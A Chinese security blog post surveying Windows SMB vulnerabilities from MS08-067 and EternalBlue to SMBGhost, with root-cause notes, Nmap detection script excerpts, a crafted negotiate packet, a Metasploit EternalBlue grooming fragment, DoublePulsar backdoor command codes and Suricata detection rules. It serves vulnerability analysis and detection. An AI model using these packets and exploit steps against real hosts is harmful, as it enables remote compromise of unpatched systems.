SMB漏洞汇总

MS08-067

pediy
fb原理分析

CVE-2008-4250微软编号为MS08-067,根据微软安全漏洞公告,基本可以了解其原理:
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化(将路径字符串中的'/'转换为'',同时去除相对路径"."和".."),而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

exploit建立了TCP连接,然后进行SMB空会话连接。构建恶意路径,先初始化一些变量,填补字符串pad、服务器名称server以及前缀prefix、路径path。函数使用rop技术构建shellcode,将payload进行编码之后,构造触发漏洞的unicode相对路径"....",然后填充字符串,添加字符串结尾'\0'。

漏洞原理

脚本地址 https://svn.nmap.org/nmap/scripts/smb-vuln-ms08-067.nse

MS17-010

MS17-010(永恒之蓝)应用的不仅仅是一个漏洞,而是包含Windows SMB 远程代码执行漏洞CVE-2017-0143、CVE-2017-0144、CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148在内的6个SMB漏洞的攻击,所以攻击显得十分繁琐。
参考资料
[MS17-010译文](https://www.anquanke.com/post/id/86270)
[TrendMicro原文](https://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/)

漏洞原理

流量取自Msf MS17-010/Nmap
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:

1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小

2.因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大

3.因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出

流量分析


在NT Trans Rquest(0xa0)中
TotalDataCount为66512>FEA list的大小(65536)

TotalDataCount(4字节):在此事务请求中发送的SMB_COM_NT_TRANSACT数据字节的总数。在属于同一事务的任何或所有后续SMB_COM_NT_TRANSACT_SECONDARY请求中,这个值可能会减少。此值表示transaction data bytes, 不是SMB data bytes.

IN-DATA会被转换为FEA list的结构,FEA list结构如下图所示

脚本

脚本地址 https://svn.nmap.org/nmap/scripts/smb-vuln-ms17-010.nse
nmap使用

nmap -p445 --script smb-vuln-ms17-010

该脚本连接到$IPC tree,在FID 0上执行一个transaction,并检查是否返回错误“STATUS_INSUFF_SERVER_RESOURCES”,以确定目标是否没有针对ms17-010打过修补。另外,它检查补丁系统返回的已知错误代码。
Nmap脚本

 --SMB_COM_TRANSACTION opcode is 0x25
    smb_header = smb.smb_encode_header(smbstate, 0x25, overrides)
    smb_params = string.pack(">I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2 I2 I2 I2 I2 I2",
      0x0,     -- Total Parameter count (2 bytes)
      0x0,     -- Total Data count (2 bytes)
      0xFFFF,  -- Max Parameter count (2 bytes)
      0xFFFF,  -- Max Data count (2 bytes)
      0x0,     -- Max setup Count (1 byte)
      0x0,     -- Reserved (1 byte)
      0x0,     -- Flags (2 bytes)
      0x0,     -- Timeout (4 bytes)
      0x0,     -- Reserved (2 bytes)
      0x0,     -- ParameterCount (2 bytes)
      0x4a00,  -- ParameterOffset (2 bytes)
      0x0,     -- DataCount (2 bytes)
      0x4a00,  -- DataOffset (2 bytes)
      0x02,    -- SetupCount (1 byte)
      0x0,     -- Reserved (1 byte)
      0x2300,  -- PeekNamedPipe opcode
      0x0,     --
      0x0700,  -- BCC (Length of "\PIPE\")
      0x5c50,  -- \P
      0x4950,  -- IP
      0x455c   -- E\
      )

3.3补充

通过判断服务器响应错误代码判断是否利用成功,
这里实际有两个取值分别用于判断机器是否打补丁、是否可被利用
STATUS_INSUFF_SERVER_RESOURCES(0xc0000205)。小端序。

--STATUS_INSUFF_SERVER_RESOURCES indicate that the machine is not patched
      if err == 0xc0000205 then //判断patch
        stdnse.debug1("STATUS_INSUFF_SERVER_RESOURCES response received")
        return true
      elseif err == 0xc0000022 then
        stdnse.debug1("STATUS_ACCESS_DENIED response received. This system is likely patched.")
        return false, "This system is patched."
      elseif err == 0xc0000008 then
        stdnse.debug1("STATUS_INVALID_HANDLE response received. This system is likely patched.")
        return false, "This system is patched."
      end
      stdnse.debug1("Error code received:%s", stdnse.tohex(err))
    else
      stdnse.debug1("Received invalid command id.")
      return false, string.format("Unexpected SMB response:%s", stdnse.tohex(err))
    end
  end
end

STATUS_INVALID_PARAMETER 0xC000000D 漏洞利用

      # Step 3: Groom the pool with payload packets, and open/close SMB1 packets
      print_status("Starting non-paged pool grooming")

      # initialize_groom_threads(ip, port, payload, grooms)
      fhs_sock = smb1_free_hole(true)

      @groom_socks = []

      print_good("Sending SMBv2 buffers")
      smb2_grooms(grooms, payload_hdr_pkt)

      fhf_sock = smb1_free_hole(false)

      print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
      fhs_sock.shutdown()

      print_status("Sending final SMBv2 buffers.") # 6x
      smb2_grooms(6, payload_hdr_pkt) # todo: magic #

      fhf_sock.shutdown()

      print_status("Sending last fragment of exploit packet!")
      final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
      sock.put(final_exploit_pkt)

      print_status("Receiving response from exploit packet")
      code, raw = smb1_get_response(sock)

      code_str = "0x" + code.to_i.to_s(16).upcase
      if code.nil?
        print_error("Did not receive a response from exploit packet")
      elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
        print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
      else
        print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
      end

https://github.com/hanshaze/MS17-010-EternalBlue-WinXP-Win10/blob/master/ms17_010_eternalblue_winXP-win10.rb
http://qxzy.org/archives/20
https://zhuanlan.zhihu.com/p/27705903

流量发现

关于DoublePulsar

分析报告
参考链接
后门函数将SMB的Timeout请求字段解码,把解码的结果跟0×23,0×77,0xc8比较作为后门的命令
当结果为0×23时,后门函数用来检查后门是否已经安装,即PING命令。
当结果为0×77时,后门函数用来进一步执行传入的shellcode。
当结果为0xc8时,后门函数用来卸载后门。
这个请求中Timeout的值为 93 89 07 00: 0×93+0×89+0×07+00= 0×123,取最后一个字节,结果为0×23,根据上面的分析,这是PING命令。

Doublepulsar复现

=待补充=
http://www.secist.com/archives/3504.html

两段payload

00 00 c0 98 07 c8 00 00 00 00 00 00 00 02 08 9c 13 00 08R 00

CVE-2009-3103

https://blog.csdn.net/lhorse003/article/details/71758812

Nmap探测脚本

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->   normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)

MS06-025

Nmap脚本

--create the SMB session
--first we try with the "\router" pipe, then the "\srvsvc" pipe.
local status, smb_result, smbstate, err_msg
status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
if(status == false) then
err_msg = smb_result
status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
if(status == false) then
    return false, NOTUP --if not accessible across both pipes then service is inactive
end
end
smbstate = smb_result
--bind to RRAS service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
if(status == false) then 
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
End

Nmap流量

尝试连接\router \srvsvc

MS07-029

Nmap流量

尝试打开“\DNSSERVER”,报错,未开启DNS RPC服务。

CVE-2020-0796

SMB Ghost v3漏洞

漏洞原理

流量样本

拿到一段DDOS流量样本 其中协商部分的data与Mcafee一致
0000 fc 53 4d 42 a2 00 00 00 02 00 00 00 ff ff ff ff .SMB............
0010 18 1b 8e 00 fe 53 4d 42 40 00 01 00 01 00 01 00 .....SMB@.......
0020 80 28 00 03 00 8b 00 00 00 ff fe 20 00 07 00 3f .(......... ...?
0030 02 19 50 01 5d 01 58 00 4a 28 00 03 00 60 48 06 ..P.].X.J(...`H.
0040 00 40 00 00 06 2b 06 01 05 05 02 a0 3e 30 3c a0 .@...+......>0<.
0050 0e 30 0c 06 0a 78 00 04 01 82 37 02 02 0a a2 2a .0...x....7....*
0060 04 28 4e 54 4c ff 7f 61 08 4d 53 53 50 4a 03 97 .(NTL..a.MSSPJ..
0070 82 08 e2 30 00 07 00 0a 00 ba 47 30 00 0f ...0......G0..

解析如下:

We can see the very large OriginalSize used for attacker-controlled data (4294967295 is 0xFFFFFFFF in hex which is also -1 if viewed as a signed long). This is copied into a smaller fixed buffer and results in a classic buffer overflow.
Of note is the ProtocolID of \xfcSMB, which must be present and represents the magic bytes used to indicate the message must be decompressed per the spec.

suricata规则

alert tcp any any -> any any (msg: "ATTACK [PTsecurity] CoronaBlue/SMBGhost DOS/RCE Attempt (CVE-2020-0796)"; flow: established; content: "|FC|SMB"; depth: 8; byte_test: 4, >, 0x800134, 8, relative, little; reference: url, www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796; reference: cve, 2020-0796; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10005777; rev: 2;)

alert tcp any any -> any any (msg: "ATTACK [PTsecurity] CoronaBlue/SMBGhost DOS/RCE Attempt (CVE-2020-0796)"; flow: established; content: "|FC|SMB"; depth: 8; byte_test: 4, >, 0x800134, 0, relative, little; reference: url, www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796; reference: cve, 2020-0796; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10005778; rev: 2;)

byte_test: 4, >, 0x800134, 8, relative, little;
relative 使用一个相对于上次模式匹配的相对的偏移量。
big 以网络字节顺序处理数据(缺省)。
little 以主机字节顺序处理数据。
从前面匹配位置结尾开始>,向后偏移8字节,获取4字节数据,与十六进制0x800134比较,如果
大于则命中。
按照上面的规则检测流量包,确实命中
|FC|SMB -> fc 53 4d 42 a2
向后偏移8字节得到ff ff ff ff > 0x800134
OriginalCompressedSegmentSize与最大值0x800134比较

参考链接

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796
https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
https://www.freebuf.com/sectool/232738.html
https://www.cnblogs.com/potatsoSec/p/12484973.html

CVE-2020-1301

SMB v1漏洞 触发需要预先进行身份认证
https://www.52pojie.cn/thread-1208267-1-1.html

posted @ 2020-06-03 15:32  歇马  阅读(5282)  评论(0编辑  收藏  举报